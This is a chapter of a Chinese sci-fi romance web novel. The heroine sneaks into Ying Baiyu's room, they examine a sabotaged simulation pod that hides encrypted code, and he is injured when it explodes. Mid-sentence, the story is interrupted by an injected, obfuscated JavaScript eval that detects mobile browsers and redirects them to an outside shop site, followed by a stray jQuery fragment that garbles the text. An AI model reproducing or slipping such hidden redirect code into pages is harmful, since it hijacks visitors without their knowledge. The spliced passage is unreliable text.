极泽星的夜寒冷入骨,连呼出的气都凝成淡淡的白雾。
姬斩月站在天璇宿舍楼外,同缩在她领口的富贵开始拔河。
“我这是没办法啊,你就飞起来把我拽上去呗。这叫养兵千日用兵一时。”
“汪汪汪汪汪汪!”(你干嘛不自己爬上去!)
富贵疯狂扭动着身体表示拒绝,十条触手一起往后退。
“很冷啊。”姬斩月摊摊手,“白天我不是找过嘛,没成功。”
白天门口站岗的卫兵在她走近时便抬手示意她停下,态度恭敬但毫无商量余地:“您好,少爷现在谁也不见。”
她只能无功而返。
姬斩月抬头看了一眼宿舍楼四层那扇亮着灯的窗户。
“快点。”她捅了捅不情愿的富贵,“一会小心人来了。”
“汪唧唧。”(我触手好痛QAQ)
富贵开始耍赖。
“赢家上次的水晶灯你是不是很喜欢?我再给你找几颗比那个还亮的好不好?”
富贵停住了。
“乖啦,事成之后你可以多吃三个蛋挞。”姬斩月循循善诱,“你忍心看我一个人爬这冰冷墙壁吗?”
富贵歪着脑袋,触手不自觉地互相搓了搓,在做思想斗争。
半晌,它伸出一条触手,极其郑重地比了个“成交”的手势。
等巡逻的脚步声刚消失在拐角,姬斩月悄无声息地贴着墙根溜到天璇宿舍楼侧面的排水管旁。
富贵张开触手让姬斩月拽着,整只水母鼓成一个半透明的蓝色气球,晃晃悠悠飘向四楼。
姬斩月悬在半空中,长发被夜风吹得胡乱飞舞。
到了四楼,她伸手扣住窗框,整个人攀附在窗台外沿,往里面瞄了一眼。
窗帘没拉严实,透过那条缝隙,她看到赢白榆正坐在书桌前,面前摆着光脑,眉头微蹙。
他没穿制服外套,只穿着一件深灰色的衬衫,袖口挽到小臂,光脑的白光投在他眉眼之间,自带疏离的好看。
就在她考虑是敲玻璃还是直接让富贵把窗户撬开的时候,赢白榆像是感应到了什么转过头。
四目相对。
“嗨。”姬斩月尴尬地贴在玻璃上哈出一口白气。
“……”
赢白榆的表情出现了一瞬间的空白,甚至不可思议地揉了揉眼睛。
他猛地拉开窗户,冷风灌进房间,把桌上的纸张吹得哗哗作响。
“你搞什么?”他压低声音,一把扣住她的手腕把她从窗台上拽进来,“这是四楼!你爬窗户?门不能走吗?你不能给我发消息吗?”
富贵趁机松开触手,整只水母像一滩融化的雪糕流进温暖的室内,摊在地毯上大口喘气。
“你不让我进啊,我只能翻窗了。发消息你也不理我啊。”姬斩月一只手搭着他,一只手撑着窗台,利落地翻进屋内,落地时几乎没有发出声响。
赢白榆迅速关上窗户,把窗帘重新拉严实,将寒冷隔绝在外,转过身反驳:“我怎么不让你进了?”
“你的卫兵说的,少爷今天谁也不见。”姬斩月学着白天卫兵的口吻,又指了指门口的方向,“我报了名字,他说你连队友都不见,更何况我这个外校的,连通报都不肯通报。”
赢白榆才想起他今天一天都没打开通讯。
他揉了揉眉心,随手捞起大衣递给姬斩月:“我说的‘谁也不见’是指那些来打探消息的人,不是你。快点穿上。”
“那你不早说。”
“我怎么知道你今晚会来找我?”
“那你现在知道了。”姬斩月抬手甩着发间细碎的冰碴。
两个人之间的距离随着姬斩月的动作一点点拉近,赢白榆甚至能感觉到她身上带着的寒气。
他低头看着她,眸光微动,忽然抬手极轻地拂过她额角的发丝,把那些被风吹乱的碎发拨到她耳后。
“下次走正门,”他声音沙哑,“我跟卫兵说,你不需要通报。”
姬斩月眨了眨眼,把还在喘气的富贵从地上捞起来,将大衣一裹往他怀里一扔:“喏,社区送温暖。”
赢白榆下意识接住那团软乎乎的蓝色水母,低头跟富贵大眼瞪小眼。
富贵从善如流地在他怀里调整了一下姿势,把十条触手舒舒服服地摊开。
“什么是社区送温暖?”他好奇地问。
“我跟姜荼学的词,就是关心人的意思。你帮我把主教官换了,我还没谢谢你。”姬斩月收起嬉笑,难得正经道:“这个人情我记着呢。”
赢白榆微怔,随即嘴角几不可察地勾了勾。他把富贵往手臂上挪了挪,姿势意外的熟练,像是抱过很多次。
“冰面上那具遗体你应该知道了,”姬斩月坐在床边,“手臂上刻着第九舰队的编号,不管是不是栽赃,这把火已经烧到你身上了。”
她抬眼看他:“你打算怎么办?”
“我已经联系我父亲那边调阅赢家的内部档案了,再试着联系一下第九舰队的残部,看看有什么线索吧。”赢白榆眉眼间的温情骤然散去,“我倒要看是谁在针对赢家。”
“如果真是他呢?”姬斩月盯着赢白榆的眼睛。
“我只知他是赢家旁支,但不了解他,如果真是他——”赢白榆眼中闪过一丝戾气,“那就清理门户。”
姬斩月看着面前这个褪去少年青涩变得愈发成熟的青年,有种吾家有儿初长成的感慨。
她宽慰地拍拍他的肩膀:“我觉得能让秦教官那么信服的人不会是坏人。”
“你说话的语气好老气横秋啊。”赢白榆感觉她看自己的眼神哪里都不太对。
“总之我又欠你一个人情,你有需要我帮忙告诉我。我体质可是S+呢,你说打谁就打谁。”姬斩月打着哈哈,活跃气氛。
“朋友之间不存在欠不欠人情的说法。”赢白榆眼底轻轻漾开点点笑意,须臾才开口道:“你找我应该不止是来送温暖吧,那个模拟舱?”
“嗯,那个坏掉的模拟舱,”姬斩月问,“是你让人拦着不让动的吧?”
“对。”赢白榆没有否认,“你说那个有问题,我就一直让人守着。除了我安排的人,谁都不能碰。”
姬斩月心中微动,没想到赢白榆会做到如此地步。
“你就这么信我啊?”她问。
“已经是过命的交情了,这点信任不该有吗?”赢白榆眸光流转,轻笑:“要现在去看看吗?趁大家注意力都在调查学生遗体上。”
姬斩月抬眼,夸赞:“不愧是指挥。”
“你感觉模拟舱里有东西?”赢白榆放下富贵,从衣柜里拿出另一件外套让姬斩月穿上,还不忘问她:“你想用荒星上我教你的那个办法反探查?”
“嗯,我当时在模拟舱感觉被监视了。”姬斩月点点头,“我将电路完全破坏了,事后你又派专人很快看管起来,应该能查出一些东西。”
赢白榆已经走到门口,侧头看她,“走吧,抓紧时间。”
两人一前一后出了门。
走廊里空无一人,赢白榆带着她避开了所有监控密集区,从宿舍楼侧面的紧急通道下到一层,又从一层后厨的货运通道穿出去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17826895|202413||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,拐进了通往模拟室的那条偏僻小径。
模拟舱所在的一号模拟室已经被清空,门口果然守着两个赢家护卫队的人。
看到赢白榆过来,两人同时立正敬礼。
“有人来过吗?”
“报告,下午有几个赛委会的人想进去,被我们拦下了。”其中一人悄声回答。
“很好。从现在开始没有我的命令,任何人不得进入,包括赛委会的人。”
“是!”
模拟舱内的应急灯被打开,昏黄的光线勉强照亮了那个被姬斩月一拳打爆的操控台。
碎裂的屏幕还保持着当天的状态,几根裸露的线路从操控台底部垂下来,被富贵当时触手的电流电得焦黑。
姬斩月走到模拟舱正中央,闭上眼。
识海深处的神识开始缓缓铺开。她没用多少力道,按照在荒星流放者监狱时将神识化作一缕缕丝线,沿着模拟舱内部的每一条数据链条层层深入,一点一点地探查。
赢白榆站在她身后,安静地看着她的背影,替她警戒。
时间一分一秒过去。
突然,姬斩月猛地睁开眼。
她在模拟舱最深处的底层代码里,“看”到了一段被层层加密包裹的不属于标准程序的异常代码。
那串代码被伪装成普通的系统日志,但她认得那种感觉,和在荒星流放者监狱里的如出一辙。
找到了。
那串代码的尾部,她再次“看”见了属于自己世界的文字——
【??计划受试者:W】
与在流放者监狱看到的不同,姬斩月这次“看”到的文字并不完整。
“还是造神计划?”她喃喃自语。
“什么?”赢白榆上前一步。
姬斩月没有回答。
她的神识仍停留在那串异常代码上,试图将那段被三重加密的数据看得更清楚些。
然而,变故瞬间发生。
模拟舱的核心操控台底部突然迸出一簇刺目的白光,像一根被点燃的引线。
赢白榆比姬斩月更早察觉到了不对。
他几乎是凭着本能扑了过去,一把将姬斩月拽离原地,同时将她整个人护在怀里。
白光在下一秒炸开。
姬斩月被赢白榆压着倒向地面,他用后背结结实实扛住了爆炸的冲击波和烧灼碎片。
头顶那盏应急灯瞬间爆裂,黑暗吞没了一切。
在短暂的失明中,姬斩月只听见赢白榆压抑的闷哼,以及自己剧烈的几乎要冲破胸腔的心跳。
“赢白榆?”
姬斩月反手去摸,触到一片温热的湿。
她声音焦急:“赢白榆,说话。”
“没事,我在。”他轻声安慰道:“小伤。”
门外传来急促的脚步声。
两个卫兵撞开门冲进来时,浓烟还未散去,空气中弥漫着刺鼻的焦味。
他们用应急手电扫过来,光柱穿过翻涌的黑烟,照见了地上那个场面。
“少爷,这是怎么了?你没事吧?!”
姬斩月半跪在赢白榆身边,一只手按着他的肩,抬眸看向卫兵,“叫医疗兵,先别声张。”
“是。”
两个卫兵对视一眼,一个飞奔出去,另一个举着手电蹲下来。
手电的光线照亮了赢白榆的后背。深灰色的衬衫从腰腹处被撕开一条狰狞的口子,焦黑的布料和绽开的皮肉粘在一起。
姬斩月的视线定在那里,指甲几乎掐进掌心。
艹。
又来这套。